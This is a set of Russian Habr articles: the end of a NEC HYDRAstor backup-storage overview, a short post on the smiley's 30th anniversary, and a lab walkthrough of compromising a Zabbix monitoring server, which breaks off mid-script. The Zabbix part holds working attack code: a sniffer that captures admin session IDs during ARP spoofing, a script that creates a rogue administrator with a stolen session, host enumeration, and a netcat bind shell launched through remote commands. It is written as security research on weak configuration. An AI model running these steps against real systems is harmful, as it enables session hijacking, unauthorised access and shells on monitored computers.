Аналогичная таблица, только для моногонодовых конфигураций.
Полезная емкость на нодах HS8 без учета дедупликации и компрессии.
**Добавление новых нод в кластер:**
* Добавление новых HN (Hybrid Node) линейно увеличивает производительность и емкость кластера
* Добавление новых SN (Storage Node) линейно увеличивает емкость кластера
* При добавлении новых нод автоматически запускается процесс перераспределения хранимых данных на новые ноды
Емкость СХД NEC HS8 можно легко увеличить по мере роста количества данных. СХД NEC HS8 может безопасно хранить данные в течении продолжительных периодов времени, используя технологию распределенной отказоустойчивости. Данные автоматически мигрируют со старого узла на новый во время замены. Это позволяет менять узлы в реальном времени, не создавая неудобств пользователям. Замена узлов также значительно сокращает затраты, продлевая жизнь существующей системы, по сравнению с полной заменой системы на новую. В одном кластере одновременно могут находиться ноды трех поколений.
**Universal Express I/O** — облегченный I/O протокол NEC (устанавливается отдельным плагином на backup медиасервер)
**1. Имеет меньше накладных расходов чем NFS/CIFS, а значит более производителен
2. Работает со многими приложениями резервного копирования, например: RMAN, NetWorker, NetVault etc.
3. Поддерживает следующие функции:**
* Сжатие данных при передаче
* Шифрование данных при передаче
* Балансировка нагрузки по подсетям
**Universal Express I/O Deduped Transfer** — отдельно лицензируемый функционал Universal Express I/O, который позволяет включить дедупликацию на источнике.
Deduped Transfer имеет несколько ограничений и не будет работать если количество конкурентных заданий резервного копирования превысит:
1. 50 параллельных бэкапов на один Backup сервер (51-й бэкап будет выполняться без дедупликации на источнике)
2. 100 параллельных бэкапов на одну Hybryd ноду (101-й бэкап будет выполняться без дедупликации на источнике)
Для работы Deduped Transfer требуется дополнительно или лицензия на Universal Express I/O или OST Suite (OpenStorage — Suite).
Требования к Backup серверу, использующему Deduped трансфер:
**Synchronized Access Grid** – позволяет включить доступ к одной файловой системе через несколько гибридных нод одновременно. Фича требует отдельной лицензии. Фактически включается единое пространство имен для конкретной файловой системы через несколько физических гибридных нод. При этом клиент может не знать, через какую конкретную ноду он подключен в текущий момент. Для увеличения производительности такаой файловой системы можно просто добавить еще одну гибридную ноду в Synchronized Node Group. Одновременная запись в один и тот же файл с разных нод не возможна.
Synchronized Access Grid позволяет облегчить проектирование системы и обеспечить хорошую производительность без необходимости создавать отдельные файловые системы на каждой гибридной ноде.
**Dynamic I/O** – адаптивная балансировка внешних потоков. Динамическое распределение потоков резервного копирования по всем внешним (front-end) Ethernet портам всех Hybrid нод.
Работает Dynamic I/O при наличии на кластере лицензий Synchronized Access Grid и Universal Express I/O. Потоки данных равномерно балансируются по нескольким гибридным нодам и/или подсетям в пределах кластера. В пределах однонодовой конфигурации так же можно настроить балансировку потоков по физическим портам ноды (не используя лицензию Synchronized Access Grid), но потребуется использовать различные подсети на каждом физическом external порту ноды. Однако альтернативой обоим лицензиям в пределах маленькой однонодовой конфигурации может быть так же собирание нескольких external интерфейсов в **Bonding Port**. Поддерживаются следующие типы агрегирования:
* **balance-rr** — последовательно кидает пакеты, с первого по последний интерфейс
* **balance-alb** — является первой альтернативой к рассмотрению, если не используется LACP. Адаптивно выравнивает нагрузку на все интерфейсы, не требуя поддержки со стороны свитчей. Но может вызывать алерты в системах мониторинга сети на предмет дублирования IP адресов.
* **active-backup** — один из интерфейсов активен. Если активный интерфейс выходит из строя (link down и т.д.), другой интерфейс заменяет активный. Не требует дополнительной настройки коммутатора
* **IEEE 802.3ad** или **LACP** (требуется настройка на стороне свитчей заказчика)
Естественно кроме Bonding-а и Universal Express I/O можно настраивать **Jumbo Frames** на всем пути следования трафика (на сетевых интерфейсах HydraStor включительно).
Для интеграции с **Veritas NetBackup** поддерживается **OST плагины** для различных операционных систем. В случае если не используется Universal Express I/O, то OST обеспечивает хорошую производительность по CIFS или NFS протоколам. Так же NetBackup умеет балансировать свои Job-ы по нескольким нодам NEC HS. Для включения дедупликации на источнике так же требуется лицензия **Deduped Transfer**. Кроме того поддерживается **Optimized Copy** функционал, который позволяет реплицировать на удаленную площадку только уникальные блоки.
**OST Auto Image Replication** — функционал, который автоматизирует импорт каталога резервных копий на Backup сервер на удаленной площадке. Что позволяет ускорить восстановление данных на удаленной площадке в случае полного выхода из строя исходного сайта.
**OST plugin – FC configuration** — для HYDRAStor доступна конфигурация, при которой можно писать (читать) данные на гибридные ноды в том числе и по FiberChannel протоколу. Изначально поддерживался только NetBackup с OST плагином. Но недавно вышел патч (доступен уже сейчас), функционал которого будет добавлен в следующий релиз софта, и в нем **реализована уже работа с FC по протоколу Universal Express IO**. Что сильно расширяет спектр софта резервного копирования, который сможет через Universal Express IO работать с данными на кластере по FC.
Ниже на рисунке представлены конфигурации гибридных нод с установленными FC HBA карточками.
**Failover Functionality for Business Continuity** — это Failover механизм кластера HYDRAstor. Hybrid ноды (HNs) отслеживают состояние друг друга и в случае выхода из строя одной из нод, здоровая нода перехватывает ввод\вывод со сломавшейся ноды на себя.
При использовании NFS протокола ввод/вывод не останавливается и сессии на Backup сервере не сбрасываются. В остальных случаях требуется переподключение.
Чуть более наглядный пример, чем на предыдущей картинке. Переезжают не только файловые системы с ноды на ноду, но и IP адреса, через которые экспортированы эти файловые системы.
**WAN-оптимизированная репликация**
* Отправляет только уникальные данные
* Значительно уменьшает нагрузку на сети между площадками
* Избавляет от затрат на обслуживание лент
* Защищает данные за счет шифрования «на лету»
Для репликации поддерживается **двунаправленная топология 1-к-1**
Так же поддерживается **двунаправленная топология N-к-M** (или многие к многим)
Допускается копирование данных на 16 других систем при одноузловой конфигурации HYDRAstor. А так же копирование данных на 50 других систем в многоузловой конфигурации HYDRAstor.
**Space Reclamation** — место на кластере, как и на многих стороджах с дедупликацией, освобождается не сразу после удаления файлов или файловых систем. Требуется выполнения процесса Space Reclamation, который идет в два этапа: анализ и поиск больше неиспользуемых блоков данных и собственно сам процесс удаления этих блоков. Space Reclamation можно запускать как вручную, так и по настраиваемому расписанию (н-р в часы когда не идут активные бэкапы данных).
**WORM (HydraLock)** — Write Once Read Many. Технология, которая позволяет с течением времени блокировать файлы от внесения в них изменений и дальше хранить их заданное количество лет. По умолчанию данные хранятся в неизменяемом состоянии 10 лет.
**Encryption** — HYDRAStor поддерживает шифрование данных при передаче и на дисках. Но данный функционал не доступен в России в соответствии с нашим законодательством.
**Список отдельно приобретаемых опциональных лицензий на Hydrastor HS8**
Почти весь функционал из списка разобран выше в статье. Кроме **DirectDataShadow**, который позволяет выполнять прямое резервное копирование томов с **СХД M-серии** компании NEC (без дополнительных серверов и софта резервного копирования).
**При покупке NEC HYDRAstor не требуется отдельное лицензирование дедупликации+компрессии (DataRedux), а также протоколов файлового доступа Cifs, NFS.**
**Monitoring and Notification** — администратор системы может получать оповещения с системы на почту по протоколу SMTP (a), а также через протокол SNMP (b) или просматривать их в интерфейсе управления ©.
**HS Data Reduction Estimation Tool** — утилита командной строки от вендора, предоставляемая по запросу. Используется для тестирования дедуплицируемости и сжимаемости данных заказчика. Доступна под Windows и Linux. На картинке ниже приведен пример листинга BAT файла, который можно запускать с какой-то периодичностью руками или поставить в планировщик задач в Windows, что бы например сделать имитацию ежедневного бэкапа данных. Фактически при помощи утилиты можно выполнить приблизительную оценку емкости HydraStor, которая потребуется под хранение бэкапов заказчика.
**Пример запуска утилиты из CMD в Windows:**
```
hsSimulator.exe -d -o
hsSimulator.exe -d -o
```
**Пример BAT файла для автоматизации запуска утилиты по расписанию:**
```
@echo off
set h=%TIME:~0,2%
if "%h:~0,1%" equ " " set h=0%h:~1,1%
set m=%TIME:~3,2%
set s=%TIME:~6,2%
set dd=%DATE:~0,2%
set mm=%DATE:~3,2%
set yyyy=%DATE:~6,4%
c:\hsSimulator\hsSimulator.exe -d c:\hsSimulator\temp.db ^
-o c:\hsSimulator\test-%dd%-%mm%-%yyyy%_%h%.%m%.%s%.csv c:\temp
```
В итоге работы BAT файла получаем CSV файл с датой и временем в названии: **test-10-06-2019\_17.30.11.csv**
Single Node HYDRAStor HS3-50
----------------------------
А еще у NEC есть маленький HYDRAStor HS3-50, который отличается от старших HS8 моделей меньшей производительностью и отсутствием поддержки кластеризации. Т.е. может использоваться только в виде одной отдельно ноды. На данной модели используется так же CPU поколения E5-2600v3. Функционал полностью сопоставим с однонодовой моделью HS8-5001S. Лицензироваться может кратно 8TB, а максимальная сырая емкость составляет 24TB. Позиционируется он для небольших инсталляций и удаленных офисов компаний с возможностью репликации данных на старшие системы в центральный офис.
Полезная емкость на нодах HS3 без учета дедупликации и компрессии:
HYDRAStor Virtual Appliance
---------------------------
HYDRAStor Virtual Appliance – виртуальный апплайнс с тем же софтом, что и на железных версиях HS3/HS8 и с возможностью репликации на эти железные версии. Масштабируется до 15TB полезной емкости. Требования к установке представлены на картинке ниже. Позиционируется так же для небольших компаний и удаленных офисов как и HS3-50.
По запросу вендор может предоставлять триальные лицензии для HYDRAStor Virtual Appliance на 90 дней.
[](https://habrastorage.org/webt/oh/ws/sg/ohwssgqoyip0rds6vejmr_e-l7i.jpeg)
Сноски в таблицах
1. Типичное для резервного копирования сжатие, зависит от типа данных.
2. Емкость рассчитана, исходя из: 1 GB = 1,000,000,000 bytes, 1 TB = 1,000 GB.
3. Расчет для HS VA на хост сервере VMware ESXi с 2-мя Intel Xeon E5-2470 @2.30GHz (8 ядер каждый), 96ГБ памяти, 6x SATA HDD (7,200RPM 4ТБ) в RAID6
4. Предполагается, что отношение сжатия данных составляет 20:1.
5. Тип ЦПУ должен быть Nehalem-C(Westmere) или выше (напр., Intel Xeon Processor E56xx/L56xx/X56xx) с частотой 1.5GHz или выше.
6. Значения емкости рассчитаны, исходя из: 1GiB = 1,073,741,824 bytes, 1 GB = 1,000,000,000 bytes, 1 TB = 1,000 GB.
NEC HYDRAStor HS6
-----------------
У NEC существует еще одно более дешевое решение чем HS8 семейство систем HYDRAstor Позиционируется оно для архивного хранения (в первую очередь медиаконтента). В нем используется дедупликация не переменным, а фиксированным блоком. В остальном доступны все те же технологии, что и для HS8. В последнем столбце в строке Емкость опечатка, имеются в виду Петабайты, а не Терабайты.
[](https://habrastorage.org/webt/2x/hd/do/2xhddozxul-870iyiuvzmeio9na.jpeg)
А дальше насколько картинок, которые показывают как NEC видит себя на фоне конкурентов :).
**NEC HS8 vs DataDomain**
**NEC HS8 vs StoreOnce**
**Сравнение производительности (на контроллер TB/h)**
**Сравнение производительности (на систему TB/h)**
Вот собственно и все что удалось мне «скомпилировать» из разрозненной и обширной документации NEC по этим системам :). | https://habr.com/ru/post/466815/ | null | ru | null |
# Смайлику :-) исполнилось 30 лет
*Фото из Вики*
19 сентября 1982 года — Скотт Фалман, профессор питтсбургской компьютерной школы, придумал данный символ. Наличие смайликов помогало отличать серьезные сообщения от шуток, так как использовать их предполагалось на доске объявлений (bboard) института Карнеги. Теперь же Интернет использует смайлики **:-)** и **:-(** для обозначения эмоций в Сети.
При этом Фалман за свою карьеру сделал [много полезного](http://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%BB%D0%BC%D0%B0%D0%BD,_%D0%A1%D0%BA%D0%BE%D1%82%D1%82), но известен массам стал лишь благодаря смайлику.
Цитата из Вики:
```
19-Sep-82 11:44 Scott E Fahlman :-)
From: Scott E Fahlman
I propose that the following character sequence for joke markers:
: -)
Read it sideways. Actually, it is probably more economical to mark
things that are NOT jokes, given current trends. For this, use
: -(
```
2006-2011 — Питтсбургская компьютерная школа вручает символу награду Smiley Award (выдающиеся нововведения, совершенствующие процесс общения с помощью компьютеров).
[Слово автору.](http://www.cs.cmu.edu/~sef/sefSmiley.htm) | https://habr.com/ru/post/151756/ | null | ru | null |
# Система мониторинга как точка проникновения на компьютеры предприятия
Это продолжение памятки про систему мониторинга Zabbix, опубликованной недавно в нашем блоге. Выражаем огромную благодарность пользователю [Shodin](https://habrahabr.ru/users/shodin/), который внес значительный вклад в исследование и написал данную статью.
Системы мониторинга — это очень практичный компонент для управления сетевой структурой предприятия. Они позволяют видеть изменения, которые происходят с устройствами практически в реальном времени. А с ростом количества устройств в сети роль решения, которое способно централизованно управлять устройствами, многократно возрастает.
В самом простом случае хочется видеть доступность компьютеров, мониторинг работы устройств (например, свитчей по ipmi), видеть изменения в конфигурации оборудования и отправлять об этом оповещения.
Система мониторинга может многое. Но что, если злоумышленник попытается использовать ее возможности в своих целях? Может ли злоумышленник, благодаря возможностям Zabbix, осуществить атаки на хосты, мониторинг которых осуществляется при помощи Zabbix?
Страшно? Под катом рассмотрим, что может злоумышленник, имея доступ к системе мониторинга Zabbix, безопасности и конфигурации, которой уделено недостаточное внимание.
Для исследования я собрал простую тестовую среду на виртуальных машинах с использованием VirtualBox:
* Zabbix server – он будет осуществлять мониторинг компьютера.
* ПК – тот компьютер, который мониторится сервером Zabbix.
* Hacker – виртуалка злоумышлениика.
* ОС Хоста – я с нее захожу как администратор на сервер Zabbix.
*Схема модели*
**Краткий обзор работы Zabbix.**На каждый клиентский ПК устанавливается Zabbix-агент, который будет обмениваться данными с Zabbix-сервером.
В Zabbix-сервере настраивается мониторинг ПК, в рамках мониторинга сервер ищет на ПК установленный агент и получает от него информацию.
*Поиск и получение информации от агента*
*Поиск и получение информации от агента*
По умолчанию для обмена информацией между Zabbix-агентом и Zabbix-сервером используются следующие TCP-порты: на стороне клиента настраивается (и прослушивается) порт 10051 а на стороне сервера настраивается (и прослушивается) порт 10050.
*Прослушивание порта*
На сервере настраивается периодичность опроса клиентов на предмет изменений в данных, которые сервер получает от агента. Настройка интервала обнаружения задается в меню Configuration — Discovery web-интерфейса Zabbix. Далее создается новое правило обнаружений (англ. Discovery Rule). В настройках параметров указывается параметр Delay, который отвечает за периодичность опроса клиентов сервером. По умолчанию этот интервал равен 3600с, менее 5с интервал опроса не устанавливается.
*Заданое правило обнаружений*
На каждом клиенте устанавливается Zabbix-агент, настройки которого задаются в конфигурационном файле. Более подробно о работе агента можно узнать [здесь](https://www.zabbix.com/documentation/3.0/ru/manual/concepts/agent).
В модели для мониторинга ПК в конфиге агента были заданы следующие опции:
* Server – адрес сервера (в модели — 192.168.56.102).
* ServerActive – адрес сервера для активных проверок (чаще всего совпадает с адресом сервера).
* Hostname – имя хоста. Отсылается агентом на сервер, который пересылает список активных проверок для хоста с указанным именем. Должно совпадать с тем именем, которое указано для хоста в web-интерфейсе Zabbix-сервера.
* EnableRemoteCommands=1 – разрешает запуск команд, которые сервер передает агенту. Запускать команды будет агент.
* Timeout=30 – время, за которое должен произойти обмен данными между клиентом и сервером, по умолчанию опция закомментирована, а её значение равно 3с. Я поставлю 30с и посмотрим, достаточно ли этого для злоумышленника?
#### Возможный сценарий действий злоумышленника
Для упрощения моделирования рассмотрим типичную ситуацию, при которой злоумышленник и Zabbix-сервер находятся в одной подсети. Zabbix-сервер в сети чаще всего настроен таким образом, чтобы он осуществлял мониторинг ПК и выполнял там запуск удаленных команд.
Насколько такая ситуация правдоподобна – сказать сложно. Из личного опыта использования Zabbix-сервера отмечу, что одной из целей внедрения Zabbix в сети, которую я когда-то админил, помимо всего прочего, был запуск удаленных команд на компьютерах сети.
Что надо сделать злоумышленнику:
1. Обнаружить в сети Zabbix-сервер.
2. Получить доступ к фронтенду Zabbix-сервера.
3. Получить доступ к компьютерам и закрепиться в системе.
Далее рассмотрим, как злоумышленник решит указанные задачи.
#### Обнаружение в сети работающего Zabbix-сервера
Для начала злоумышленник определяет, развернут ли в сети сервер Zabbix. Самый очевидный способ определить работающий Zabbix-сервер– это просканировать все сетевые ресурсы сети на предмет наличия на них открытых портов Zabbix-сервера и Zabbix-агента; обычно порт Zabbix-сервера по умолчанию – 10051 а агента – 10050.
Сканирование лучше выполнить сразу по обоим портам, команда:
```
Nmap –sS –p 10050,10051 192.168.56.0/24
```
*Результат работы команды*
Видно, что оба порта на узле с адресом **192.168.56.102** открыты. Скорее всего, это и есть сервер. Но это не точно :) Попробуем выяснить наверняка.
Используем для проверки адреса сервера команду curl, с ее помощью отправим такой json запрос на адрес **[192.168.56.102/zabbix/api\_jsonrpc.php](http://192.168.56.102/zabbix/api_jsonrpc.php)**:
```
{"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"admin"},"auth":null,"id":0}
```
Пароль злоумышленнику неизвестен, но этим запросом он пробует подключиться к серверу и указывает при этом некорректные данные. Идея такая – если сервер развернут по выбранному адресу, то вернется ошибка некорректного логина и пароля, а если сервера по указанному адресу нет, то ответы не вернутся вообще, или вернется строка «connection timeout»:
```
curl -i -X POST -H 'Content-type:application/json' -d '{"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"admin"},"auth":null,"id":0}' http://192.168.56.102/zabbix/api_jsonrpc.php
HTTP/1.1 200 OK
Date: Fri, 02 Feb 2018 08:06:52 GMT
Server: Apache/2.4.10 (Debian)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 1000
Content-Length: 159
Content-Type: application/json
```
```
{"jsonrpc":"2.0","error":{"code":-32700,"message":"Parse error","data":"Invalid JSON. An error occurred on the server while parsing the JSON text."},"id":null}
```
Сервер запрос отпарсил, значит по проверяемому адресу развернут Zabbix-сервер.
Для сравнения посмотрим, что будет, если отправить аналогичный запрос на адрес другого найденного ПК (на котором Zabbix-сервер не развернут):
```
curl -i -X POST -H 'Content-type:application/json' -d '{"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"admin"},"auth":null,"id":0}' http://192.168.56.110/zabbix/api_jsonrpc.php
curl: (7) Failed to connect to 192.168.56.110 port 80: Connection refused
```
Весь процесс можно наглядно увидеть [здесь](https://youtu.be/sDNiqXg5JQM).
Теперь попробуем определить версию Zabbix-сервера. Не зная логина и пароля, это можно сделать, отпарсив исходный код страницы **[192.168.56.102/zabbix/index.php](http://192.168.56.102/zabbix/index.php)**. В исходном коде этой страницы прописана ссылка на документацию с указанием версии Zabbix.
*Версия Zabbix-сервера, обнаруженная в исходном коде страницы*
Из рисунка видно, что версия сервера 3.2.
Для автоматизации определения версии был написан простой скрипт, который получает эту информацию со страницы авторизации Zabbix-сервера:
```
"""
This script is for testing zabbix version
by version of the docs on the logon page
"""
import urllib2
import re
from bs4 import BeautifulSoup
zab_page='http://192.168.56.102/zabbix/index.php'
page=urllib2.urlopen(zab_page)
soup = BeautifulSoup(page, 'html.parser')
for link in soup.findAll('a', attrs={'href': re.compile("documentation")}):
version=link.get('href')
parts=re.split('/', version)
a=''.join (parts[4:5])
print "zabbix version is",a
```
*Результат работы скрипта*
С процессом парсинга версии Zabbix-сервера можно ознакомиться [тут](https://youtu.be/s2QgPAu13BEhttp://).
Вывод – у злоумышленника достаточно способов определения наличия в сети работающего сервера Zabbix.
Далее рассмотрим, как можно получить доступ к этому серверу.
#### Получение доступа к фронтенду Zabbix-сервера. Часть первая, обзорная
Что даст злоумышленнику перехват траффика между Zabbix-сервером и агентом?
Трафик между агентом и сервером (если в конфиге агента не настроить шифрование передаваемых данных) передается в незашифрованном виде, в пакетах TCP с флагом PSH.
*Трафик в незашифрованном виде*
Такой трафик можно перехватывать и анализировать, но это ничего не даст для получения доступа к фронтенду.
Однако Zabbix написан на PHP, а Zabbix API реализуются на основе web и поставляются как часть web-интерфейса. Используется протокол JSON-RPC 2.0. Для использования большинства возможностей Zabbix достаточно отправлять HTTP POST-запросы к файлу api\_jsonrpc.php, который расположен в папке с web-интерфейсом.
Это означает, что при авторизации пользователя в системе (например, при заходе администратора в web-интерфейс Zabbix) выполняется запрос/ответ в формате JSON. При этом для каждого пользователя генерируется т.н. zbx\_sessionid, который используется в POST-запросах json к серверу Zabbix. Более подробно про реализацию API можно прочитать [тут](https://www.zabbix.com/documentation/3.0/ru/manual/api).
Как происходит аутентификация пользователей? Первым делом надо получить т.н. ключ аутентификации, для этого нужно отправить на сервер логин и пароль пользователя, и если данные были указаны правильно, то вернется ключ аутентификации.
Процесс передачи zbx\_sessionid происходит и в случае авторизации пользователя через web-интерфейс фронтенда при вводе логина и пароля этого пользователя.
Рассмотрим пример получения значения zbx\_sessionid для пользователя Admin с паролем zabbix с использованием API. Нужно отправить такую строку:
```
{"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"zabbix"},"auth":null,"id":0}
```
Если лень разбираться – то есть [вот такой сервис](https://jsoneditoronline.org), как раз для тех, кто предпочитает строку json в структурированном виде.
Используем для отправки составленного запроса команду curl:
```
curl -i -X POST -H 'Content-type:application/json' -d ' {"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"zabbix"},"auth":null,"id":0}' http://192.168.56.102/zabbix/api_jsonrpc.php
```
В ответ получаем:
```
{jsonrpc:2.0,result:d2a72e967fa86307a6ab9b896d8c95b9,id:1}
```
**d2a72e967fa86307a6ab9b896d8c95b9** – это и есть значение zbx\_sessionid для пользователя Admin с паролем zabbix. Получив zbx\_sessionid пользователя, можно использовать его для запроса данных:
```
{"jsonrpc": "2.0","method":"host.get","params":{"output": ["hostid","host"],"selectInterfaces": ["interfaceid","ip"]},"id": 2,"auth": " d2a72e967fa86307a6ab9b896d8c95b9"}
```
Подставим в команду curl:
```
curl -i -X POST -H 'Content-type:application/json' -d '{"jsonrpc": "2.0","method":"host.get","params":{"output": ["hostid","host"],"selectInterfaces": ["interfaceid","ip"]},"id": 2,"auth": " d2a72e967fa86307a6ab9b896d8c95b9"}
' http://192.168.56.102/zabbix/api_jsonrpc.php
```
Получаем такой результат:
```
{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix_server","interfaces":[{"interfaceid":"1","ip":"127.0.0.1"}]},{"hostid":"10105","host":"windows host","interfaces":[{"interfaceid":"2","ip":"192.168.56.1"}]},{"hostid":"10106","host":"Windows host","interfaces":[{"interfaceid":"3","ip":"192.168.56.110"}]}],"id":2}
```
Весь процесс можно посмотреть [тут](https://youtu.be/Pajef5GRe1I).
Само значение zbx\_sessionid «солится» меткой времени, что почти исключает его подделку, но передается оно в поле zbx\_sessionid в POST-запросе в открытом виде!
В случае перехвата трафика администратора, когда он авторизуется в системе, злоумышленник может получить zbx\_sessionid администратора и использовать полученное значение для развития атаки. Это возможно, т.к. смена zbx\_sessionid происходит только тогда, когда пользователь выходит из системы. А пока он в системе, zbx\_sessionid периодически пересылается при каждом действии пользователя.
Можно ли повторно использовать перехваченный zbx\_sessionid? Да, можно, пока пользователь залогинен в системе. Для этого его просто достаточно подставить в запрос json, который затем надо отправить на сервер.
Вывод – именно zbx\_sessionid и будет очевидной целью злоумышленника при перехвате траффика.
#### Получение доступа к фронтенду Zabbix-сервера. Часть вторая, практическая
Для получения значения админского zbx\_sessionid злоумышленнику достаточно прослушать трафик в сети между сервером Zabbix и компьютером админа.
Самый простой вариант — старый добрый ARP spoofing.
В принципе, неважно, с помощью чего ARP spoofing реализуется – результат будет получен в любом случае. Для данного исследования использовался пакет scapy для python, очень полезная утилита для работы с сетевыми пакетами.
Для «отлова» zbx\_sessionid был написан такой скрипт, который открывает сокет, прослушивает траффик, и отлавливает в пересылаемых данных значение zbx\_sessionid:
```
import socket
import re
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
print ("trying to catch zbx_sessionid")
k = ''
while True:
data = s.recvfrom(65565)
try:
if "HTTP" in data[0][54:]:
raw = data[0][54:]
if "\r\n\r\n" in raw:
line = raw.split('\r\n\r\n')[0]
print "[*] Header Captured "
value = line
m = re.search("(zbx_sessionid.*)", value)
if m:
str = m.group(0)
k = re.split(r'\W+', str)
print ("session_id is :")
print (k[1])
####Saving founded zbx_sessionid in file
saved_zbxssids = open('zbx_sessionids.txt','a')
saved_zbxssids.write('\n')
saved_zbxssids.write(k[1])
saved_zbxssids.write('\n')
saved_zbxssids.close()
print ("zabbix session id saved in file zbx_sessionids.txt")
else:
pass
else:
pass
except KeyboardInterrupt:
s.close()
```
Значения сохраняются в файл zbx\_sessionids.txt
Алгоритм атаки такой:
1. В kali разрешаем форвардинг пакетов командой:
`# sysctl –w net.ipv4.ip_forward=1`
2. Запускаем утилиту ARP spoofing’a:
 *Результат работы команды*
В данной команде:
* 192.168.56.1 – адрес роутера
* 192.168.56.102 – адрес сервера Zabbix
3. Запускаем написанный скрипт перехвата http-заголовков такой командой:
```
# python zabbix_zbxsessionid_sniffer.py
```
4. Ждем, когда пользователь попробует подключиться к админской панели сервера Zabbix. И видим нужный нам zbx\_sessionid: *Результат работы скрипта*
Далее проверим, позволит ли перехваченный zbx\_sessionid получить информацию с сервера. Для этого пробуем получить список всех пользователей в Zabbix с использованием такого запроса:
```
{"jsonrpc": "2.0","method": "user.get","params":{"output": "extend"},"auth":"d547a4536e1660e753c765916d44531b","id":1}
```
Подставляем в curl:
```
curl -i -X POST -H 'Content-type:application/json' -d '{"jsonrpc": "2.0","method": "user.get","params":{"output": "extend"},"auth":"d547a4536e1660e753c765916d44531b","id":1}' http://192.168.56.102/zabbix/api_jsonrpc.php
```
Результат успешный:
```
{"jsonrpc":"2.0","result":[{"userid":"1","alias":"Admin","name":"Zabbix","surname":"Administrator","url":"","autologin":"1","autologout":"0","lang":"en_GB","refresh":"30","type":"3","theme":"default","attempt_failed":"0","attempt_ip":"192.168.56.100","attempt_clock":"1517561631","rows_per_page":"50"},{"userid":"2","alias":"guest","name":"","surname":"","url":"","autologin":"0","autologout":"900","lang":"en_GB","refresh":"30","type":"1","theme":"default","attempt_failed":"0","attempt_ip":"","attempt_clock":"0","rows_per_page":"50"}],"id":1}
```
Весь процесс можно посмотреть [тут](https://youtu.be/1qQhULjzzz4).
Вывод рекомендуется структурировать, например, используя [такой сервис](https://jsoneditoronline.org/).
Видно всех пользователей (и гостя тоже), их имена и псевдонимы, IP-адреса, с которых пользователи заходят, и прочую интересную информацию, которая доступна только администратору Zabbix. Теперь, когда у злоумышленника есть zbx\_sessionid админа (мораль – не сиди под админом!) он может попробовать закрепиться в системе.
Для начала можно создать себе нового пользователя с админскими правами, чтобы не зависеть от перехваченного zbx\_sessionid. Для этого можно использовать такой сценарий:
```
import json
import requests
from pyzabbix import ZabbixAPI
#api_address="http://192.168.56.102/zabbix/api_jsonrpc.php"
api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://192.168.56.102/zabbix/api_jsonrpc.php"": \n")
zbx_sessionid= raw_input("enter zbx_sessionid: \n")
user= raw_input("enter username: \n")
password= raw_input("enter password: \n")
url = api_address
headers = {'Content-type': 'application/json'}
data = {"jsonrpc": "2.0", "method": "user.create", "params": {
"alias": user, "passwd": password, "type": "3", "usrgrps": [
{"usrgrpid": "7"}], },
"auth": zbx_sessionid,
"id": 1
}
answer = requests.post(url, data=json.dumps(data), headers=headers)
print(answer)
response = answer.json()
print(response)
###Using pyzabbix to connect whith created user creds
print ("testing user parameters:")
zapi = ZabbixAPI(api_address)
zapi.login(user, password)
print("Connected to Zabbix API Version %s" % zapi.api_version())
```
Результат успешный.
*Результат работы сценария*
*В интерфейсе видно созданного пользователя*
Вывод – при перехвате zbx\_sessionid администратора Zabbix у злоумышленника появляются те же возможности, что и у администратора Zabbix.
Сам процесс можно посмотреть [тут](https://youtu.be/OwfCHiKY-cM).
По большому счету, на этом можно и остановиться – система скомпрометирована. Но что будет, если развить атаку? Можно ли расширить зону атаки? Какие последствия будут для тех компонентов, которые мониторятся в Zabbix?
#### Получение доступа к компьютерам и закрепление в системе
Теперь, когда злоумышленник создал своего пользователя с правами администратора в Zabbix, можно попробовать проникнуть на те ПК, которые Zabbix мониторит.
В Zabbix есть такая возможность как запуск удаленных команд. Данная возможность, повторимся, работает следующим образом:
* в конфиге агента указывается параметр EnableRemoteCommands = 1.
* сервер отсылает команду агенту, он ее выполняет и возвращает серверу результат.
Длинна команды ограничена 255 символами. Timeout команды — максимум 30 секунд, причем технология позволяет выполнять любые команды.
Идея заключается в том, чтобы создать на мониторящемся ПК задачу, которая запустит на нем команду наподобие такой: **«C:\Users\Public\nc.exe –dLp 6666 -e cmd.exe»**. Далее к созданному шеллу можно попробовать подключиться.
Команда будет выполнена с теми правами, которыми обладает Zabbix-агент в системе. Однако, из-за особенностей реализации механизма удаленных команд, устойчивый шелл злоумышленник провесить одной задачей типа **system.run[«C:\Users\Public\nc.exe -dLp 6666 -e cmd.exe»]** не сможет – он оборвется из-за особенностей Zabbix (важно значение опции timeout в конфиге агента).
Исходя из вышесказанного, сценарий действий злоумышленника будет следующий:
1. Перехватить zbx\_sessionid. Далее создать себе нового пользователя с правами администратора (чтобы не зависеть от перехваченного zbx\_sessionid). Это уже сделано.
2. Создать для каждого найденного на сервере ПК задачу, которую будет выполнять агент. В задачу включить запуск шелла, и с его помощью залить на ПК жертвы шелл (или запустить имеющиюся утилиту типа netcat).
3. Подключиться к созданному задачей Zabbix шеллу и создать еще один, который не будет обрываться из-за особенностей Zabbix.
Так как пользователя в Zabbix злоумышленник уже создал, то можно использовать параметры созданного пользователя и реализацию API Zabbix на Python (пакет pyzabbix), чтобы не заморачиваться с json и curl. Для начала нужно определить, какие компьютеры мониторятся Zabbix-ом:
```
from pyzabbix import ZabbixAPI
api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://192.168.56.102/zabbix/api_jsonrpc.php"": \n")
zbx_sessionid= raw_input("enter zbx_sessionid: \n")
user= raw_input("enter username: \n")
password= raw_input("enter password: \n")
zapi = ZabbixAPI(api_address)
zapi.login(user, password)
print("Connected to Zabbix API Version %s" % zapi.api_version())
for h in zapi.host.get(output="extend"):
hostid=h['hostid']
host=h['host']
print ("found host: ",host,"hostid: ",hostid)
```
*Результат работы скрипта*
Теперь, зная имя хоста, можно поставить ему задачу запуска шелла на удаленном ПК. Сначала провесим шелл на Zabbix-сервер. Для демонстрации используется netcat, который в Linux, как правило, предустановлен. Был использован [этот](https://github.com/lukecyca/pyzabbix/blob/master/examples/add_item.py), немного модифицированный, пример.
```
from pyzabbix import ZabbixAPI, ZabbixAPIException
import sys
